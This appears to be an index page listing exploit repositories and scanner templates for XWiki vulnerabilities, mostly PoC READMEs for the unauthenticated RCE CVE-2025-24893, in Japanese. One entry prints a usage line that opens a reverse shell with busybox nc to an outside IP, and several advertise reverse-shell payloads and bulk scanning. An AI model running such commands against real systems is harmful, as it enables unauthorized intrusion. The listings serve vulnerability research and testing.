CVE-2025-24893-PoC

CVE-2025-24893 - XWiki リモートコード実行（RCE） CVE-2025-24893 の更新された概念実証（PoC）エクスプロイトです。XWiki における認証不要の重大な RCE 脆弱性です。このバージョンはオリジナルを改良し、任意のシェルコマンド実行とクリーンなリバースシェル注入を可能にします。 作成者: HexHunter404 ⚠️ 警告 このコードは教育目的および許可を得たペネトレーションテスト目的のみ で提供されています。 自身が所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 ✨ 特徴 bash -c ''...

CVE-2025-24893

CVE-2025-24893 XWiki上でのリモートコード実行（RCE）エクスプロイト CVE-2025-24893 に対するPython3エクスプロイト。XWiki プラットフォームに影響する、認証不要のリモートコード実行（RCE）の重大な脆弱性です。...

codeql-workshop-cve-2021-21380

Java 向け CodeQL ワークショップ: SQL インジェクションを見つける このワークショップでは、CVE-2021-21380 で文書化された XWiki プラットフォームの評価コンポーネントにおける SQL インジェクションを見つけるために、構文解析と意味解析を使用します。 Contents Java 向け CodeQL ワークショップ: SQL インジェクションを見つける Contents 前提条件とセットアップ手順 ローカルマシンの場合 インストール セットアップ手順 ワークショップ 学習内容 問題の説明 演習 演習 1 インターメッツォ 1 演習 2 演習 3...

CVE-2025-24893

CVE-2025-24893 XWiki 未認証リモートコード実行 POC 脆弱性の説明 XWiki Platform は、その上に構築されたアプリケーションにランタイムサービスを提供する汎用ウィキプラットフォームです。ゲストユーザーは誰でも SolrSearch へのリクエストを通じて任意のリモートコード実行を行うことができます。これは XWiki...

CVE-2025-24893

CVE-2025-24893 の PoC — XWiki リモートコード実行（安全な PoC） CVE-2025-24893 の PoC: 15.10.11 、16.4.1 、および 16.5.0RC1 より前のバージョン向けの XWiki リモートコード実行エクスプロイト。 ⚠️ 重要 — 許可されたテストのみ このリポジトリには、教育目的 および許可された脆弱性テスト を目的とした proof-of-concept （PoC）プロジェクトが含まれています。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して、エクスプロイトコードや手法を使用しないでください...

cve-2025-24893

CVE-2025-24893 XWiki RCE エクスプロイト CVE-2025-24893 （XWiki Platform のリモートコード実行の脆弱性）を、Groovyベースの async マクロと設定可能なリバースシェルペイロードを用いて悪用する、シンプルな Python3 スクリプトです。 ⚠️ 警告: このツールは教育目的および許可されたテスト目的のみ で提供されます。所有していない、または明示的なテスト許可を得ていないシステムに対する不正な使用は、違法かつ非倫理的です。 目次 機能 必要条件 インストール 使用方法 検出とプロトコルフォールバック リバースシェルペイロード...

CVE-2025-24893

CVE-2025-24893 XWiki の 15.10.11、16.4.1、16.5.0RC1 より前のバージョンに対するリモートコード実行エクスプロイト。 使用方法 $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 倫理的な目的にのみ使用してください :...

CVE-2024-31982

CVE-2024-31982 PoC およびバルクスキャナー 概要 CVE-2024-31982 の PoC: XWiki Platform のリモートコード実行 14.10.20。この PoC は、こちらの セキュリティアドバイザリ に基づいています。 使用方法 単一ターゲットスキャン 単一のターゲットエンドポイントをスキャンするには： python CVE-2024-31982.py -u target バルクターゲットスキャン 複数のターゲットを一括スキャンするには： python cve-2024-31982.py -f targets.txt インストール 最低要件 Pytho...

CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC

CVE-2025-24893 - XWiki 未認証RCEエクスプロイトPOC ⚠️ XWikiにおける未認証のリモートコード実行 🛠️ @dollarboysushilによるPoC実装 💡 概要 CVE-2025-24893 は、XWikiにおける深刻なRCE脆弱性であり、SolrSearchマクロ内での安全でないGroovy式の処理に起因します。攻撃者は巧妙に細工されたGETリクエストを通じてGroovyコードを注入し、リモートコード実行 を引き起こすことができます（認証不要）。 重要度: 緊急 CVSS 9.8 影響を受けるバージョン:...

CVE-2025-24893

XWiki SSTI エクスプロイト SolrSearch エンドポイントの Groovy テンプレートインジェクションを介して、XWiki Server-Side Template Injection SSTI の脆弱性を悪用する Python エクスプロイトです。 脆弱性 タイプ : サーバーサイドテンプレートインジェクション SSTI コンポーネント : XWiki SolrSearch RSS フィード 影響 : リモートコード実行 影響を受けるバージョン : XWiki 15.10.8 およびその他の可能性あり 要件 pip3 install requests...

cve-2025-24893-poc

CVE-2025-24893 — XWiki 未認証RCE PoC CVE-2025-24893 の概念実証エクスプロイトです。XWiki における重大な未認証リモートコード実行（RCE） 脆弱性です。 このエクスプロイトは SolrSearch エンドポイントのGroovyテンプレートインジェクションを悪用し、認証なしで任意のコマンド（リバースシェルを含む）を実行します。 💥 脆弱性の詳細 XWikiが SolrSearch RSSエンドポイントへの細工された入力を処理する方法に欠陥があり、攻撃者がレンダリングパイプラインにGroovyコードを注入できます。 これにより、groovy...

XWiki - HQL Injection

XWiki is vulnerable to Hibernate Query Language HQL injection in the wiki and space search REST API starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0. The vulnerability allows attackers to inject malicious HQL queries through the orderField parameter, potential...

XWiki - Open Redirect

XWiki Platform is vulnerable to open redirect attacks due to improper validation of the xredirect parameter. This allows an attacker to redirect users to an arbitrary website. The vulnerability is patched in versions 14.10.4 and 15.0. id: CVE-2023-32068 info: name: XWiki - Open Redirect author:...

XWiki >= 13.10.8 - Cross-Site Scripting

Reflected XSS vulnerability in XWiki authenticate endpoints allows execution of arbitrary JavaScript. id: CVE-2023-29506 info: name: XWiki = 13.10.8 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Reflected XSS vulnerability in XWiki authenticate endpoints allows...

XWiki Platform - Cross-Site Scripting

XWiki Platform versions = 4.2-milestone-3 and = 16.5.0-rc-1 and = 17.0.0-rc-1 and = 4.2-milestone-3 and = 16.5.0-rc-1 and = 17.0.0-rc-1 and 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the...

XWiki Platform - Path Traversal

XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges. id: CVE-2025-55748 info: name: XWiki Platform - Path Traversal author:...

XWiki - Information Disclosure

XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package. id: CVE-2025-55749 info: name:...

XWiki - Cross-Site Scripting

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page XSS. It's possible to exploit the restore template to perform a XSS, e.g. by using URL such as:...

XWiki < 4.10.20 - Remote code execution

XWiki Platform is a generic wiki platform. Starting in version 2.4-milestone-1 and prior to versions 4.10.20, 15.5.4, and 15.10-rc-1, XWiki's database search allows remote code execution through the search text. This allows remote code execution for any visitor of a public wiki or user of a close...

XWiki Platform - Unauthorized Document History Access

A vulnerability in XWiki Platform's REST API allows unauthorized users to access document history information. The REST API endpoint exposes the history of any page including modification times, version numbers, author details username and display name, and version comments, regardless of access...